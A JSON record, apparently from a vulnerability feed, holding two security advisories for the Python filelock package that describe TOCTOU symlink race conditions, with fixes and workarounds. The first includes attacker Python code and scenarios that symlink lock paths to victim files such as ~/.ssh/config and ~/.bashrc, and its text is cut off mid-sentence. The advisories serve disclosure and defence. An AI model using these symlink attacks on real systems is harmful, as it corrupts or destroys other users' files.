{"ecosystem":"pypi","package":"filelock","version":null,"bugs":[{"id":409,"ecosystem":"pypi","package_name":"filelock","affected_version":null,"fixed_version":"3.20.1","bug_id":"osv:GHSA-w853-jp5j-5j7f","title":"filelock has a TOCTOU race condition which allows symlink attacks during lock file creation","description":"### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -> None:\n    ensure_directory_exists(self.lock_file)\n    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate\n    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?\n        open_flags |= os.O_CREAT\n    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -> None:\n    raise_on_not_writable_file(self.lock_file)  # (1) Check writability\n    ensure_directory_exists(self.lock_file)\n    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate\n    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file exists? → False\nT1                                             ↓ RACE WINDOW\nT2                                             Create symlink: lock → victim_file\nT3      Open lock_file with O_TRUNC\n        → Follows symlink\n        → Opens victim_file\n        → Truncates victim_file to 0 bytes! ☠️\n```\n\n**Windows variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file writable?\nT1                                             ↓ RACE WINDOW\nT2                                             Create symlink: lock → victim_file\nT3      Open lock_file with O_TRUNC\n        → Follows symlink/junction\n        → Opens victim_file\n        → Truncates victim_file to 0 bytes! ☠️\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\"  # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\"  # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n    # Remove any existing lock file\n    try:\n        os.unlink(lock_path)\n    except FileNotFoundError:\n        pass\n\n    # Create symlink pointing to victim file\n    os.symlink(victim_file, lock_path)\n    print(f\"[Attacker] Created: {lock_path} → {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire()  # ← VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!\n\n    if (flags & O_TRUNC) {\n        truncate_file(f);  // ← Truncates the TARGET of the symlink\n    }\n\n    return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don't Help\n\n**File permissions don't prevent this:**\n\n- Attacker doesn't need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim's* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren't always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn't prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\<100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: F","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f","labels":["CVE-2025-68146"],"created_at":"2026-04-19 04:31:27.434915+00:00","updated_at":"2026-04-19 04:31:27.434915+00:00"},{"id":408,"ecosystem":"pypi","package_name":"filelock","affected_version":null,"fixed_version":"3.20.3","bug_id":"osv:GHSA-qmgc-5h2g-mvrw","title":"filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock","description":"## Vulnerability Summary\n\n**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock\n\n**Affected Component:** `filelock` package - `SoftFileLock` class\n**File:** `src/filelock/_soft.py` lines 17-27\n**CWE:** CWE-362, CWE-367, CWE-59\n\n---\n\n## Description\n\nA TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly.\n\nThe vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service.\n\n### Attack Scenario\n\n```\n1. Lock attempts to acquire on /tmp/app.lock\n2. Permission validation passes\n3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock\n4. os.open() tries to create lock file\n5. Lock operates on attacker-controlled target file or fails\n```\n\n---\n\n## Impact\n\n_What kind of vulnerability is it? Who is impacted?_\n\nThis is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization.\n\n**Affected Users:**\n- Applications using `filelock.SoftFileLock` directly\n- Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy)\n\n**Consequences:**\n- **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed\n- **Denial of Service** - attacker can prevent lock file creation by maintaining symlink\n- **Resource serialization failures** - multiple processes may acquire \"locks\" simultaneously\n- **Unintended file operations** - lock could operate on attacker-controlled files\n\n**CVSS v4.0 Score:** 5.6 (Medium)\n**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N\n\n**Attack Requirements:**\n- Local filesystem access to the directory containing lock files\n- Permission to create symlinks (standard for regular unprivileged users on Unix/Linux)\n- Ability to time the symlink creation during the narrow race window\n\n---\n\n## Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation.\n\n**Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0)\n\n**Mitigation Details:**\n- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support\n- On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented\n- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented\n\n**Users should:**\n- Upgrade to the patched version when available\n- For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock`\n\n---\n\n## Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nFor users unable to update immediately:\n\n1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146)\n\n2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories:\n   ```bash\n   chmod 700 /path/to/lock/directory\n   ```\n\n3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation\n\n4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations\n\n---\n\n## References\n\n_Are there any links users can visit to find out more?_\n\n- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock)\n- **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html\n- **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html\n- **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html\n- **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html\n- **GitHub Repository:** https://github.com/tox-dev/filelock\n\n---\n\n**Reported by:** George Tsigourakos (@tsigouris007)","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw","labels":["CVE-2026-22701"],"created_at":"2026-04-19 04:31:27.432100+00:00","updated_at":"2026-04-19 04:31:27.432100+00:00"}],"total":2,"_cache":"hit"}